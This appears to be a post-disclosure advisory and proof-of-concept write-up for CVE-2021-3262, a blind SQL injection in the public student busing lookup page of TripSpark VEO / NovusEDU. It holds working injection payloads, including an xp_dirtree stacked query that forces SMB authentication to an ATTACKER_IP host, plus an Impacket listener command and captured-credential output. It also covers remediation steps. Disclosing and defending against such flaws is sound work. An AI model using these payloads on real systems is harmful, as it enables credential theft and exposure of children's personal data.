## https://sploitus.com/exploit?id=4CF56652-D069-5060-B6FA-896C92AE6EA6
# CVE-2021-3262
**SQL Injection in TripSpark VEO Transportation / NovusEDU**
The public "Student Busing Information" lookup page shipped with TripSpark VEO
Transportation takes unauthenticated POST body input and concatenates it into a SQL
Server query without parameterisation or server-side validation. The `editOEN` parameter
(the student number field) is injectable.
The injection is blind: the application returns no database errors and no differential
content worth reading. It is still fully exploitable out of band, because the database
connection can reach `master.dbo.xp_dirtree`, which forces the SQL Server service
account to authenticate outbound over SMB to an attacker-supplied UNC path.
Found during an external penetration test. On the original engagement the captured
service account credential was the foothold that led to full compromise of the client's
Active Directory domain and forest.
Published as [CVE-2021-3262](https://nvd.nist.gov/vuln/detail/CVE-2021-3262). Discovered
and reported by [Sedric Louissaint](https://sedriclouissaint.com) of
[Show Up Show Out Security](https://susos.co).
---
## Summary
| | |
|---|---|
| **CVE** | [CVE-2021-3262](https://nvd.nist.gov/vuln/detail/CVE-2021-3262) |
| **Product** | TripSpark VEO Transportation / NovusEDU |
| **Affected** | `NovusEDU-2.2.x-XP_BB-20201123-184084`, `VEO--20201123-184084OS` |
| **Weakness** | [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) |
| **CVSS 3.1 (NVD)** | 9.8 Critical `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CVSS 2 (researcher)** | 9.0 `AV:N/AC:L/Au:N/C:C/I:P/A:P` |
| **Published** | 2023-08-29 |
| **Tested on** | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| **Authentication required** | None. The lookup page is internet facing by design. |
NVD description:
> TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084
> NovusEDU-2.2.x-XP_BB-20201123-184084 allows unsafe data inputs in POST body parameters
> from end users without sanitizing using server-side logic. It was possible to inject
> custom SQL commands into the "Student Busing Information" search queries.
## Technical detail
### The exposed surface
Districts deploy the "Student Busing Information" page on their public website so
parents can look up a student's bus assignment. It asks for a student N Number and a
birthdate, and it is intentionally unauthenticated.

The N Number field posts as `editOEN`. The birthdate posts as `cboxMonth`, `cboxDay` and
`cboxYear`. `editOEN` is the injectable parameter.
### Blind injection
Unlike many ASP.NET applications of this vintage, this page does not echo database
errors. There is no visible difference between a well-formed query and a broken one, so
in-band techniques are a dead end.
Stacked queries do execute, which is all that is needed.
### Out-of-band exploitation via xp_dirtree
`master.dbo.xp_dirtree` enumerates a directory. Given a UNC path, SQL Server
authenticates to the target host over SMB before reading it. Pointing it at a listener
turns a silent injection into a visible one:
```sql
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--
```

The request is an ordinary ASP.NET WebForms POST, roughly 4,700 bytes, most of which is
`__VIEWSTATE`. Full request in
[`poc/exploited-request.http`](poc/exploited-request.http), payloads in
[`poc/payloads.sql`](poc/payloads.sql).

### Captured authentication
With Impacket's `smbserver.py` listening on a host on the public internet, the database
server inside the district's network authenticates outbound:
```
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,-VEO-DB)
[*] User -VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...
```

Two things are worth naming explicitly. First, this is an unauthenticated internet-facing
form reaching a production database. Second, that database server was permitted to make
outbound SMB connections to arbitrary internet hosts, which is what made the blind
injection observable.
### Impact
Beyond the injection itself, the captured NTLMv2 credential for the SQL Server service
account was the initial foothold on the original engagement. From there the assessment
escalated to full compromise of the client's Active Directory domain and forest.
The data at risk is student transportation records: names, home addresses, assigned bus,
assigned stop, pickup times, and special education routing. That is a schedule of where
identifiable children will physically be at known times.
## Reproduction
Against a lab instance you own or are authorised to test:
1. Load the "Student Busing Information" page.
2. Start a listener on a host the target can reach:
```bash
sudo smbserver.py c . -smb2support
```
3. Submit the form with the `xp_dirtree` payload from
[`poc/payloads.sql`](poc/payloads.sql) in the N Number field, substituting your own
IP. Capture and replay the POST rather than typing into the browser if the field has a
client-side length limit, since that limit does not exist server side.
4. A vulnerable build produces an inbound SMB authentication from the SQL Server service
account. Nothing changes in the HTTP response.
5. Time-based confirmation also works if you cannot receive inbound SMB:
```sql
123'; waitfor delay '0:0:10';--
```
## Repository contents
```
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
```
Client identifiers in the captures are redacted. The listener addresses are from the
original engagement and are long dead. Substitute your own when reproducing.
## Remediation
1. **Parameterised queries.** Bind `editOEN` as a parameter and the payload becomes an
inert string no matter what is in it.
2. **Server-side validation.** A student number is short and numeric. Enforce that on the
server, not in the form.
3. **Least privilege for the database account.** The account behind a public lookup page
needs to read bus assignments and nothing else. Revoke access to `xp_dirtree` and the
other extended stored procedures.
4. **Egress filtering.** A school district database server has no reason to open SMB
connections to the internet. Blocking outbound 445 removes the out-of-band channel.
5. **Separate the public form from the system of record.** The page parents use should
query a restricted replica, not the production database that also holds special
education routing.
## Timeline
| Date | Event |
|---|---|
| 2021 | Found during an external penetration test and reported to TripSpark |
| 2023-08-29 | CVE-2021-3262 published to NVD, scored 9.8 Critical |
## Write-ups
- Personal account: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
- Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262
## Disclaimer
Published after disclosure, for defensive and educational use. Do not run these payloads
against systems you do not own or have written authorisation to test. If you administer a
district deployment, the useful action here is to ask your vendor, in writing, whether
the queries behind your public forms are parameterised.